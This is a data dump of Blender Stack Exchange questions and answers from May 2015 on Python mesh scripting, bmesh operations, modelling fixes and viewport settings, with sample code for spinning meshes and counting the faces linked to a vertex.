  <row Id="30976" PostTypeId="1" AcceptedAnswerId="30977" CreationDate="2015-05-17T10:28:14.750" Score="5" ViewCount="2531" Body="&lt;p&gt;I want to be able to take a function f(x) and first make a plot of the function on given interval and then build a solid of revolution of that mesh by rotating it around X-axis of the plot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a script that generates the graph. My question is &lt;strong&gt;how to spin the mesh&lt;/strong&gt; (360° angle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use function &lt;code&gt;bpy.ops.mesh.spin&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.spin(steps=36, angle=2*pi, axis=(1, 0, 0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I still get &lt;code&gt;RuntimeError&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.72\scripts\modules\bpy\ops.py&quot;, line 188, in __call__&#xA;    ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Operator bpy.ops.mesh.spin.poll() failed, context is incorrect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My code for generating graph mesh of given function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# User function (return None if undefined)&#xA;def user_function(x):&#xA;    &quot;Math function for given X, returns Y&quot;&#xA;    if x == 0:&#xA;        return None&#xA;    return 1/x&#xA;&#xA;# Resolution - number of samples&#xA;res = 100&#xA;&#xA;# MIN and MAX values for the graph to plot&#xA;minX = 1&#xA;maxX = 10&#xA;minY = 0&#xA;maxY = 1&#xA;&#xA;# Real size of a rectangle of the graph&#xA;sizeX = 2&#xA;sizeY = 2&#xA;&#xA;# Recalculate Y-value for undefined points&#xA;recalculate_undefined = True&#xA;&#xA;# Whether to delete old object&#xA;delete_old = True&#xA;&#xA;# ===== Program =====&#xA;import bpy&#xA;&#xA;step = (maxX - minX) / (res - 1)&#xA;&#xA;coefX = sizeX / (maxX - minX)&#xA;coefY = sizeY / (maxY - minY)&#xA;&#xA;RminX = - sizeX / 2&#xA;RminY = - coefY * minY&#xA;&#xA;Z = 0&#xA;&#xA;vertices = []&#xA;undefined = []&#xA;# Calculate values&#xA;for ix in range(res):&#xA;    x = minX + step * ix&#xA;&#xA;    # Calculate and store Y-value&#xA;    y = user_function(x)&#xA;    if y == None:&#xA;        undefined.append(ix)&#xA;        y = 0&#xA;    y = min(maxY, y)&#xA;    y = max(minY, y)&#xA;&#xA;    cX = step * ix * coefX + RminX&#xA;    cY = y * coefY + RminY&#xA;    cZ = Z&#xA;    vertices.append((cX, cY, cZ))&#xA;&#xA;# Calculate undefined points&#xA;if recalculate_undefined == True:&#xA;    for ix in undefined:&#xA;        avg = []&#xA;        if ix &amp;gt; 0 and (ix - 1) not in undefined:&#xA;            avg.append(ix - 1)&#xA;        if ix &amp;lt; (res - 1) and (ix + 1) not in undefined:&#xA;            avg.append(ix + 1)&#xA;&#xA;        if len(avg) &amp;gt;= 1:&#xA;            y = 0&#xA;            for a in avg:&#xA;                y += vertices[a][1]&#xA;            y /= len(avg)&#xA;            vertices[ix] = (vertices[ix][0], y, Z)&#xA;&#xA;# Delete old object&#xA;if delete_old == True:&#xA;    if &quot;Graph&quot; in bpy.data.objects:&#xA;        bpy.ops.object.select_all(action = 'DESELECT')&#xA;        bpy.data.objects[&quot;Graph&quot;].select = True&#xA;        bpy.ops.object.delete()&#xA;    for item in bpy.data.meshes:&#xA;        if item.users == 0:&#xA;            bpy.data.meshes.remove(item)&#xA;&#xA;# Create new mesh&#xA;mesh = bpy.data.meshes.new(&quot;graph&quot;)&#xA;&#xA;# Build edges from vertices&#xA;edges = [(ix, ix + 1) for ix in range(res - 1)]&#xA;faces = []&#xA;&#xA;# Complete mesh and build object&#xA;mesh.from_pydata(vertices, edges, faces)&#xA;object = bpy.data.objects.new(&quot;Graph&quot;, mesh)&#xA;bpy.context.scene.objects.link(object)&#xA;object.location = bpy.context.scene.cursor_location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit1: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post is not a duplicate of &lt;a href=&quot;https://blender.stackexchange.com/questions/6101/poll-failed-context-incorrect-example-bpy-ops-view3d-background-image-add&quot;&gt;poll() failed, context incorrect? - Example: bpy.ops.view3d.background_image_add()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a solution without only avoiding the error by changing contexts.&lt;/p&gt;&#xA;" OwnerUserId="14423" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-11-22T12:00:30.747" Title="Spin mesh (to create solid of revolution)" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30977" PostTypeId="2" ParentId="30976" CreationDate="2015-05-17T10:49:16.927" Score="4" Body="&lt;p&gt;You could use the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bmesh.ops.html?highlight=bmesh.ops#bmesh.ops.spin&quot; rel=&quot;nofollow noreferrer&quot;&gt;spin provided by bmesh operators&lt;/a&gt;. This doesn't require any particular context. Here's an example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://github.com/nortikin/sverchok/blob/master/nodes/modifier_make/lathe.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;sverchok source code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from bmesh.ops import spin&#xA;import math&#xA;&#xA;&#xA;def lathe_geometry(bm, cent, axis, dvec, angle, steps, remove_doubles=True, dist=0.0001):&#xA;    geom = bm.verts[:] + bm.edges[:]&#xA;&#xA;    # super verbose explanation.&#xA;    spin(&#xA;        bm, &#xA;        geom=geom,         # geometry to use for the spin&#xA;        cent=cent,         # center point of the spin world&#xA;        axis=axis,         # axis, a (x, y, z) spin axis&#xA;        dvec=dvec,         # offset for the center point&#xA;        angle=angle,       # how much of the unit circle to rotate around&#xA;        steps=steps,       # spin subdivision level &#xA;        use_duplicate=0)   # include existing geometry in returned content&#xA;&#xA;    if remove_doubles:&#xA;        bmesh.ops.remove_doubles(bm, verts=bm.verts[:], dist=dist)&#xA;&#xA;obj = bpy.data.objects['Graph']&#xA;bm = bmesh.new()&#xA;bm.from_mesh(obj.data)&#xA;&#xA;axis = (1,0,0)&#xA;dvec = (0,0,0)&#xA;angle = 2*math.pi&#xA;steps = 20&#xA;cent = obj.location&#xA;&#xA;lathe_geometry(bm, cent, axis, dvec, angle, steps, remove_doubles=True, dist=0.0001)&#xA;&#xA;bm.to_mesh(obj.data)&#xA;# obj.data.update()   # if you want update to show immediately&#xA;bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Things to be aware of:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A small update in 3d view is required to see the result. The mesh will get updated whenever Blender call updates, so you don't strictly need to force the update yourself, but you can if you want to by called &lt;code&gt;obj.data.update()&lt;/code&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Possible downside of the bmesh.spin is that the order/topology of faces is not guaranteed or predictable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Ys1Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might prefer to use a further abstraction, which assumes the center of the rotation is obj.location: &lt;a href=&quot;https://gist.github.com/zeffii/d4efc7c346d6aa90ae18&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/zeffii/d4efc7c346d6aa90ae18&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-11-22T12:00:30.747" LastActivityDate="2015-11-22T12:00:30.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30978" PostTypeId="2" ParentId="30976" CreationDate="2015-05-17T10:55:11.290" Score="4" Body="&lt;p&gt;You could also use the 'screw' modifier, like this :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x0YZT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x0YZT.png&quot; alt=&quot;mesh in wireframe showing the modifier settings&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ys5OP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ys5OP.png&quot; alt=&quot;mesh in solid view showing the modifier settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="2217" LastEditDate="2015-05-17T17:44:23.820" LastActivityDate="2015-05-17T17:44:23.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30979" PostTypeId="1" AcceptedAnswerId="30980" CreationDate="2015-05-17T11:43:51.983" Score="5" ViewCount="687" Body="&lt;p&gt;I am in edit mode and using bmesh to get all faces. I am iteration through the faces and their vertices. Now I want to know on how many faces the vertex, I currently have, is part of.&lt;/p&gt;&#xA;&lt;p&gt;For example this green vertex is part of many faces.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lv01c.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right now I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for f in mesh.faces:&#xA;    for v in f.verts:&#xA;        # some stuff before&#xA;        # now I need the number of faces the vertex c is part of&#xA;        # some other stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know I could simply run through all faces and save the coordinates of the vertices and compare them with other faces and their coordinates - but maybe this can be done more easily.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-18T10:43:52.663" Title="Getting the number of faces a certain vertex is part of" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30980" PostTypeId="2" ParentId="30979" CreationDate="2015-05-17T12:27:39.773" Score="5" Body="&lt;p&gt;a very nice feature of bmesh :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;&#xA;&#xA;# Get a BMesh representation&#xA;bm = bmesh.new()   # create an empty BMesh&#xA;bm.from_mesh(me)   # fill it in from a Mesh&#xA;&#xA;for f in bm.faces:&#xA;    for v in f.verts:&#xA;        lf = v.link_faces&#xA;        print('num faces:', len(lf), 'faces: ', lf[:])&#xA;    break &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-05-17T12:27:39.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30982" PostTypeId="2" ParentId="30970" CreationDate="2015-05-17T14:44:32.820" Score="5" Body="&lt;p&gt;I saw the tutorial and there is nothing fancy about it. You have to just rotate the edge. Here is what you need to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edge loop. Set the &lt;em&gt;pivot type&lt;/em&gt; to a &lt;strong&gt;&lt;em&gt;3D Cursor&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CfVyO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;--&gt;&lt;em&gt;Snap&lt;/em&gt;--&gt;&lt;strong&gt;&lt;em&gt;Cursor to Selected&lt;/em&gt;&lt;/strong&gt; and set the cursor as pictured below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pu9mo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this case the edge is not regular. You may fix it by pressing &lt;kbd&gt;S&lt;/kbd&gt;, then &lt;kbd&gt;X&lt;/kbd&gt; (or &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;, depending on your situation) and then &lt;kbd&gt;0&lt;/kbd&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/R5Yxj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you have the even edge. &lt;strong&gt;&lt;em&gt;Rotate it using&lt;/em&gt;&lt;/strong&gt; &lt;kbd&gt;&lt;strong&gt;R&lt;/strong&gt;&lt;/kbd&gt; and moving the mouse from right to left (or input the degree value).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SlRGb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude the edge (&lt;kbd&gt;E&lt;/kbd&gt;). And this is it!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qKl55.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-05-17T14:51:25.557" LastActivityDate="2015-05-17T14:51:25.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30983" PostTypeId="1" AcceptedAnswerId="41081" CreationDate="2015-05-17T14:51:42.847" Score="6" ViewCount="1147" Body="&lt;p&gt;I would like to render the volume that is shaded by an object (e.g. cube), not only the 2D shadow cast on the ground (as in the attached image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that in reality the shaded volume is not visible as shaded (only when it &quot;reaches&quot; a surface like the ground plane it becomes evident), but in my project I need to somehow show the shaded volume as well (preferably semi-transparently).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to do it? I am using the lamp of type Sun and the Blender Render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gfpTF.jpg&quot; alt=&quot;Shadow&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9630" LastEditorUserId="9630" LastEditDate="2015-05-17T18:08:05.020" LastActivityDate="2016-08-07T22:12:45.883" Title="How to render a volumetric shadow?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="30984" PostTypeId="1" CreationDate="2015-05-17T14:56:20.077" Score="1" ViewCount="1095" Body="&lt;p&gt;When I was using blender 2.73, I realized that the option of &amp;quot;textured solid&amp;quot; is missing from the right pullout menu, when in previous versions it was put under &amp;quot;display&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BW9AM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am aware that I could just change the view mode to textured. However, I am using the game engine, and I want one scene to have textures, while another I need to be in solid view mode. So is there any way in Blender 2.73 to have a &amp;quot;textured solid&amp;quot; mode without completely changing to textured mode?&lt;/p&gt;&#xA;" OwnerUserId="6238" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-17T16:01:35.937" Title="Blender 2.73 textures in solid view mode" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30985" PostTypeId="1" AcceptedAnswerId="32140" CreationDate="2015-05-17T15:26:27.257" Score="2" ViewCount="359" Body="&lt;p&gt;here the smallest bit of code to show what I mean.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import IntProperty&#xA;&#xA;&#xA;class ModalOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Move an object with the mouse, example&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.modal_test_operator&quot;&#xA;    bl_label = &quot;AA Run&quot;&#xA;&#xA;    modal_counter = IntProperty(default=0)&#xA;&#xA;    def modal(self, context, event):&#xA;        if (event.type == 'MINUS') and (event.value == 'RELEASE'):&#xA;            self.modal_counter += 1&#xA;            print('triggered!', self.modal_counter)&#xA;&#xA;        elif event.type == 'LEFTMOUSE':&#xA;            print('ended by finish')&#xA;            return {'FINISHED'}&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            print('ended by cancel')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        self.modal_counter = 0&#xA;        print('start')&#xA;        context.window_manager.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output of this operator when you press the Minus key twice is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start&#xA;triggered! 1     &amp;lt;-- first press&#xA;triggered! 2     &amp;lt;-- first press&#xA;triggered! 3     &amp;lt;-- second press&#xA;triggered! 4     &amp;lt;-- second press &#xA;ended by finish&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? If i set it to listen for &lt;code&gt;event.value == 'PRESS'&lt;/code&gt; it's OK, but it seems &lt;code&gt;'RELEASE'&lt;/code&gt; is triggered twice?&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-09T08:26:03.597" LastActivityDate="2016-03-21T10:25:13.033" Title="Modal Operator double keytrigger (RELEASE triggered twice on Ubuntu)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30986" PostTypeId="2" ParentId="30984" CreationDate="2015-05-17T15:35:02.350" Score="1" Body="&lt;p&gt;Texture Solid is in the 'Shading panel', which is below the 'Display' panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rtc9p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-05-17T16:01:35.937" LastActivityDate="2015-05-17T16:01:35.937" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30987" PostTypeId="1" CreationDate="2015-05-17T15:55:27.783" Score="2" ViewCount="213" Body="&lt;p&gt;Blender 2.72  Boolean operations with the primitive forms give expected results.  Trying to use a e.g. cube to remove the tabs from a hand by difference to leave the hand doesn't give the expected result.   Trying to use the cube in the same position with an intersection does not result in the removed tab.&lt;br&gt;&#xA;One of the operations looks like a union.&lt;br&gt;&#xA;Any suggestions?&#xA;If you want more info, please tell me how to obtain it.  I'm not having a good day with Blender. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/4dEhX.png&quot; alt=&quot;the tabs on the back of the hand are my targets&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9598" LastEditorUserId="9598" LastEditDate="2015-05-17T16:57:41.787" LastActivityDate="2015-07-16T19:12:47.320" Title="Inconsistent boolean behavior" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-07-17T05:53:20.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="30988" PostTypeId="1" CreationDate="2015-05-17T16:04:33.323" Score="7" ViewCount="3359" Body="&lt;p&gt;Whenever I move vertices using &lt;strong&gt;grab function&lt;/strong&gt; (&lt;kbd&gt;G&lt;/kbd&gt;), the original vertices always stay in their position. How can I prevent this?&lt;/p&gt;&#xA;" OwnerUserId="14421" LastEditorUserId="3710" LastEditDate="2015-05-18T11:52:29.170" LastActivityDate="2015-05-18T11:52:29.170" Title="How to move vertices without duplicating them?" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30989" PostTypeId="2" ParentId="30988" CreationDate="2015-05-17T16:09:36.813" Score="8" Body="&lt;p&gt;This may be because you have a couple duplicate vertices in the same location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all your vertices using &lt;kbd&gt;A&lt;/kbd&gt; in edit mode and then press &lt;kbd&gt;W&lt;/kbd&gt; to bring a dropdown menu. Either select &quot;&lt;em&gt;Remove Doubles&lt;/em&gt;&quot; or press &lt;kbd&gt;R&lt;/kbd&gt; as it's faster. Now try moving your vertex. It should work.&lt;/p&gt;&#xA;" OwnerUserId="14426" LastEditorUserId="2217" LastEditDate="2015-05-17T17:40:56.190" LastActivityDate="2015-05-17T17:40:56.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30990" PostTypeId="2" ParentId="30988" CreationDate="2015-05-17T16:11:31.113" Score="4" Body="&lt;p&gt;It seems that you have duplicate vertices in the same location of the ones you have selected and want to move. There's not really any use for such a condition, so there is a simple operator capable of fixing this: &lt;em&gt;Remove Doubles&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter &lt;em&gt;Edit mode&lt;/em&gt; and press &lt;kbd&gt;Space&lt;/kbd&gt;; then type &quot;Remove Doubles&quot; and press &lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-05-17T16:11:31.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30991" PostTypeId="1" CreationDate="2015-05-17T16:35:02.477" Score="3" ViewCount="78" Body="&lt;p&gt;When animating an armature for some kind of loop (like a walk cycle), I find the ghost feature to be very helpful. However, I can't seem to set the &lt;em&gt;range&lt;/em&gt; higher than &lt;strong&gt;30&lt;/strong&gt;, nor the &lt;em&gt;step&lt;/em&gt; higher than &lt;strong&gt;20&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm working on an animation cycle that completes in 80 frames, and I'd like to set the range to 40 and step to 40, so I can mirror the various poses the cycle goes through, without cluttering up the view with other states.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as I mentioned above, the settings won't go over 30/20. Is this some known (maybe purposeful) limitation? Is there a workaround?&lt;/p&gt;&#xA;" OwnerUserId="14427" LastActivityDate="2015-05-17T16:35:02.477" Title="Can I increase the range of armature frame ghosting?" Tags="&lt;animation&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30992" PostTypeId="1" CreationDate="2015-05-17T16:55:50.110" Score="0" ViewCount="149" Body="&lt;p&gt;As said in the title, rendering my helicopter thing has a line down the middle, where it mirrored. Will this be a problem when exporting, or better, is there a way to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FggYu.png&quot; alt=&quot;My helicopter&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the line down the cockpit. Please help :(&lt;/p&gt;&#xA;" OwnerUserId="13582" LastActivityDate="2015-05-17T17:02:18.543" Title="When rendering my mirrored object, why does a line appear down the middle?" Tags="&lt;rendering&gt;&lt;mirror&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-05-17T17:32:15.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="30993" PostTypeId="2" ParentId="30487" CreationDate="2015-05-17T16:59:11.963" Score="9" Body="&lt;p&gt;I spoke to &lt;a href=&quot;https://blender.stackexchange.com/users/55/ideasman42&quot;&gt;Campbell Barton&lt;/a&gt; (the developer who got eyedropper functionality implemented) about this, he said that this kind of functionality is not available in Python API at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.79 now allows to create add-on properties which reference datablocks.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;custom_property = PointerProperty(type=bpy.types.Object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this property with a &lt;code&gt;prop_search()&lt;/code&gt; we'll get search box with an eyedropper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage of &lt;code&gt;prop_search()&lt;/code&gt; is not necessary, in this case &lt;code&gt;prop()&lt;/code&gt; will do just fine.&lt;br&gt;&#xA;&lt;em&gt;Noted by &lt;a href=&quot;https://blender.stackexchange.com/users/50862/j-bakker&quot;&gt;J. Bakker&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="14189" LastEditorUserId="14189" LastEditDate="2018-08-01T11:21:18.137" LastActivityDate="2018-08-01T11:21:18.137" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="30995" PostTypeId="1" AcceptedAnswerId="31042" CreationDate="2015-05-17T17:29:15.857" Score="3" ViewCount="754" Body="&lt;p&gt;I'm trying to figure out how to create a pocket using bmesh (Python Console). The regular workflow to create the example below could be as follows —&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BAHd0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Cube in Object Mode, tab into Edit Mode and select an arbitrary Face. Then, use the following steps —&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Extrude the selected Face&lt;/li&gt;&#xA;&lt;li&gt;Scale the selected Face&lt;/li&gt;&#xA;&lt;li&gt;Extrude the selected Face again&lt;/li&gt;&#xA;&lt;li&gt;Translate the selected Face&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The question is &lt;em&gt;how to create the same result using bmesh?&lt;/em&gt; To get started in the Python Console,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import mathutils&#xA;import bmesh&#xA;&#xA;me = bpy.context.edit_object.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's just extrude an arbitrary Face and continue from there&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f = bm.faces[2]  &#xA;d = bmesh.ops.extrude_discrete_faces(bm, faces=[f])&#xA;f = d['faces'][0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now &lt;code&gt;f&lt;/code&gt; refers to the extruded Face. The next step is to scale the extruded Face. To keep things simple, let's assume the normal of the selected Face is parallel to the x-axis. The following code only works as intended if the cube is centered around the origin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bmesh.ops.scale(bm, vec=mathutils.Vector((1,.5,.5)), verts=f.verts)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;because &lt;code&gt;bmesh.ops.scale()&lt;/code&gt; seems to use the global (world) coordinates. Is it possibible to use local coordinates instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option might be to use &lt;code&gt;bmesh.ops.inset_individual()&lt;/code&gt;, though unfortunately it does not create the 4 trapezoid Faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last two steps are straightforward, just another &lt;code&gt;bmesh.ops.extrude_discrete_faces()&lt;/code&gt; followed by &lt;code&gt;bmesh.ops.translate()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="379" LastEditorUserId="379" LastEditDate="2015-05-17T23:50:39.380" LastActivityDate="2015-05-19T14:13:13.050" Title="Creating pockets using bmesh/python" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30996" PostTypeId="1" AcceptedAnswerId="30997" CreationDate="2015-05-17T17:43:37.363" Score="4" ViewCount="2349" Body="&lt;p&gt;If I wanted to add a hole into an object e.g. Create a tube&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't seen anything regarding negative space so far in Blender, and it would be really helpful for my project&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="13582" LastActivityDate="2015-05-17T20:08:33.907" Title="Is there an easy way to add a hole into an object?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
